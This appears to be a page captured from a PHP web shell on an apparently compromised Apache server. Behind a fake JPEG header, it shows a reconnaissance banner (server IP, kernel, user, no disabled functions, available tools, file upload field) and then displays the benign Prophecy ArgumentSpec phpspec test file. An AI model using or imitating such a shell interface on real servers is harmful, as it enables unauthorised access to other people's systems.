ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/phpspec/prophecy/spec/Prophecy/ |
Upload File : |
<?php
namespace spec\Prophecy;
use PhpSpec\ObjectBehavior;
class ArgumentSpec extends ObjectBehavior
{
function it_has_a_shortcut_for_exact_argument_token()
{
$token = $this->exact(42);
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ExactValueToken');
$token->getValue()->shouldReturn(42);
}
function it_has_a_shortcut_for_any_argument_token()
{
$token = $this->any();
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\AnyValueToken');
}
function it_has_a_shortcut_for_multiple_arguments_token()
{
$token = $this->cetera();
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\AnyValuesToken');
}
function it_has_a_shortcut_for_type_token()
{
$token = $this->type('integer');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\TypeToken');
}
function it_has_a_shortcut_for_callback_token()
{
$token = $this->that('get_class');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\CallbackToken');
}
function it_has_a_shortcut_for_object_state_token()
{
$token = $this->which('getName', 'everzet');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ObjectStateToken');
}
function it_has_a_shortcut_for_logical_and_token()
{
$token = $this->allOf('integer', 5);
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\LogicalAndToken');
}
function it_has_a_shortcut_for_array_count_token()
{
$token = $this->size(5);
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ArrayCountToken');
}
function it_has_a_shortcut_for_array_entry_token()
{
$token = $this->withEntry('key', 'value');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ArrayEntryToken');
}
function it_has_a_shortcut_for_array_every_entry_token()
{
$token = $this->withEveryEntry('value');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ArrayEveryEntryToken');
}
function it_has_a_shortcut_for_identical_value_token()
{
$token = $this->is('value');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\IdenticalValueToken');
}
function it_has_a_shortcut_for_array_entry_token_matching_any_key()
{
$token = $this->containing('value');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ArrayEntryToken');
$token->getKey()->shouldHaveType('Prophecy\Argument\Token\AnyValueToken');
}
function it_has_a_shortcut_for_array_entry_token_matching_any_value()
{
$token = $this->withKey('key');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ArrayEntryToken');
$token->getValue()->shouldHaveType('Prophecy\Argument\Token\AnyValueToken');
}
function it_has_a_shortcut_for_logical_not_token()
{
$token = $this->not('kagux');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\LogicalNotToken');
}
function it_has_a_shortcut_for_string_contains_token()
{
$token = $this->containingString('string');
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\StringContainsToken');
}
function it_has_a_shortcut_for_approximate_token()
{
$token = $this->approximate(10);
$token->shouldBeAnInstanceOf('Prophecy\Argument\Token\ApproximateValueToken');
}
}